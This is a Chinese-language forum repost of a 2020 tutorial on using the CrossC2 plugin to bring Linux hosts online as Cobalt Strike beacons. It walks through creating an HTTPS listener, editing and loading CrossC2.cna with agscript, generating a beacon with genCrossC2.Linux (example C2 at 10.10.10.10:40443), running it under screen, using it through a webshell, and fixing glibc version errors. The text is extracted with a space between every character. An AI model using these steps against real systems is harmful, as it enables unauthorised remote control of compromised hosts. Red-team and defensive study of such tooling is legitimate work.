搜索

[27338] 2020-05-10_CobaltStrike使用CrossC2上线Linux

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-05-10_CobaltStrike使用CrossC2上线Linux C o b a l t   S t r i k e 使 用 C r o s s   C 2 上 线 L i n u x 原 创   n e a r s e c   N e a r S e c   2 0 2 0 - 0 5 - 1 0 0 x 0 1   前 言 前 言 C r o s s   C 2 是 一 个 支 持 L i n u x   &   M a c O S 系 统 的 拓 展 插 件 ， 支 持 用 户 自 定 义 生 成 的 动 态 库 ， 以 无 文 件 落 地 的 方 式 从 内 存 中 加 载 执 行 动 态 库 或 可 执 行 文 件 ， 可 做 一 些 简 单 的 操 作 ， 记 录 一 下 使 用 过 程 中 遇 到 的 一 些 小 问 题 。 C r o s s   c 2 支 持 架 构 说 明 ： 0 x 0 2   创 建 监 听 创 建 监 听 器 器 C r o s s   C 2 目 前 只 支 持 H T T P S   B e a c o n ， 所 以 在 L i s t e n r s 中 选 择 H T T P S 进 行 监 听 C o b a l t   S t r i k e   - >   L i s t e n e r s   - >   A d d
点 击 S a v e 建 立 监 听 0 x 0 2   安 装 插 安 装 插 件 件 将 C r o s s C 2 . c n a 、 g e n C r o s s C 2 . L i n u x 两 个 文 件 复 制 到 C o b a l t   S t r i k e 服 务 端 （ 必 须 处 于 同 一 目 录 ） 复 制 文 件 之 前 需 要 注 意 ， 将 C r o s s C 2 . c n a 文 件 第 3 7 行 / x x x x / x x x x x / g e n C r o s s C 2 改 为 C o b a l t   S t r i k e 服 务 端 的 根 目 录 用 n o h u p 命 令 将 C r o s s C 2 . c n a 添 加 到 服 务 端 插 件 中 （ 仅 供 参 考 ， 这 一 步 实 际 上 是 没 有 必 要 的 ） $ p r o c e s s   =   e x e c ( " / x x x x / x x x x x / g e n C r o s s C 2 " . "   " . $ h o s t . "   " .   $ p o r t . "   n u l l   n u l l   " . $ s y s t e m . "   " . $ a r c h . "   " . $ o u t p u t F i l e N a m e ) ; n o h u p   . / a g s c r i p t   [ h o s t ]   [ p o r t ]   [ u s e r n a m e ]   [ p a s s w o r d ]   C r o s s C 2 . c n a   &
W i n d o w s 客 户 端 G U I 的 使 用 方 法 因 为 G U I 琢 磨 半 天 也 没 能 生 成 成 功 ， 所 以 我 们 以 L i n u x 为 例 ， 在 L i n u x 系 统 中 调 用 底 层 程 序 去 生 成 可 执 行 文 件 0 x 0 3   安 装 安 装 J D K 1 . 8 环 境 环 境 C e n t o s 7 命 令 直 接 安 装 并 自 动 配 置 环 境 变 量 查 看 是 否 安 装 成 功 及 版 本 号 （ T i p s ： 如 果 要 在 单 独 的 一 台 C e n t o s 机 器 上 运 行 ， 需 要 将 整 个 C o b a l t   S t r i k e 服 务 端 打 包 复 制 过 去 ） 0 x 0 4   生 成 生 成 可 执 行 文 可 执 行 文 件 件 生 成 可 执 行 文 件 的 命 令 C r o s s C 2   - >   C r o s s C 2   P a y l o a d   G e n e r a t o r   - >   g e n C r o s s C 2 y u m   i n s t a l l   j a v a - 1 . 8 . 0 - o p e n j d k *   - y [ u s a g e ] :   . / g e n C r o s s C 2 . L i n u x   [ h o s t ]   [ p o r t ]   [ g e t U R I ]   [ p o s t U R I ]   [ p l a t f o r m ]   [ a r c h ]   [ o u t p u t F i l e N a m e ]                   - p l a t f o r m                 ' M a c O S '   /   ' L i n u x '
错 误 1 ： 某 云 自 带 的 J A V A 环 境 下 运 行 后 发 现 报 错 ， 后 来 了 解 到 是 因 为 f r p 的 系 统 架 构 和 安 装 环 境 的 系 统 架 构 不 匹 配 导 致 的 ， 重 新 安 装 f r p 即 可 错 误 2 ： 某 机 器 运 行 后 发 现 J A V A 报 错 ， 后 来 了 解 到 因 为 需 要 将 服 务 端 的 . c o b a l t s t r i k e . b e a c o n _ k e y s 文 件 复 制 到 本 地 C o b a l t   S t r i k e 目 录 下 最 后 在 C e n t o s 上 执 行 生 成 成 功 c h m o d 给 权 限 后 运 行 ， 保 持 状 态 可 以 安 装 使 用 s c r e e n ， 个 人 感 觉 这 个 好 用 一 点                   - p l a t f o r m                 ' M a c O S '   /   ' L i n u x '                   - a r c h                         ' x 8 6 '   /   ' x 6 4 ' [ e x ] :         . / g e n C r o s s C 2 . L i n u x   1 0 . 1 0 . 1 0 . 1 0   4 0 4 4 3   n u l l   n u l l   L i n u x   x 6 4   C 2 s c r e e n   . / C 2
C o b a l t   S t r i k e 客 户 端 上 线 L i n u x 主 机 可 以 运 用 到 w e b s h e l l 中 ， 但 是 碰 巧 遇 到 一 个 报 错 执 行 不 了 ， 是 因 为 g l i b c 动 态 库 版 本 的 问 题 查 看 当 前 g l i b c 动 态 库 版 本 s t r i n g s   / l i b 6 4 / l i b c . s o . 6   | g r e p   G L I B C
虽 然 存 在 l i b c . s o . 6 ， 但 是 调 用 的 动 态 库 版 本 不 一 样 ， 目 前 只 支 持 G L I B C _ 2 . 1 4 、 G L I B C _ 2 . 1 5 、 G L I B C _ 2 . 1 7 所 以 解 决 方 法 是 去 官 方 ： h t t p : / / f t p . g n u . o r g / g n u / l i b c / 下 载 对 应 版 本 库   - >   解 压   - >   进 入 目 录   - >   编 译   - >   安 装 但 是 覆 盖 或 者 升 级 动 态 库 的 后 果 可 能 会 比 较 严 重 ， 这 里 就 不 继 续 了 参 考 链 接 ： 欢 迎 关 注 我 们 ~     也 欢 迎 各 位 师 傅 积 极 投 稿 ~ ~ 扫 码 关 注 最 新 分 享 搜 索 公 众 号 ： n e a r s e c 你 点 的 每 个 在 看 ， 我 都 认 真 当 成 了 喜 欢 h t t p s : / / g i t m e m o r y . c o m / g l o x e c   （ C r o s s   C 2 运 行 问 题 大 全 ） h t t p s : / / g l o x e c . g i t h u b . i o / C r o s s C 2 / z h _ c n /   （ C r o s s   C 2 中 文 使 用 方 法 ） h t t p s : / / g i t h u b . c o m / g l o x e c / C r o s s C 2 / i s s u e s / 2 3 h t t p s : / / g i t h u b . c o m / g l o x e c / C r o s s C 2 / i s s u e s / 1 6 h t t p s : / / w w w . b u g f o r . c o m / v u l s / 4 0 0 0 . h t m l h t t p s : / / b l o g . c s d n . n e t / L E O N 1 7 4 1 / a r t i c l e / d e t a i l s / 7 8 2 0 5 1 9 8

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理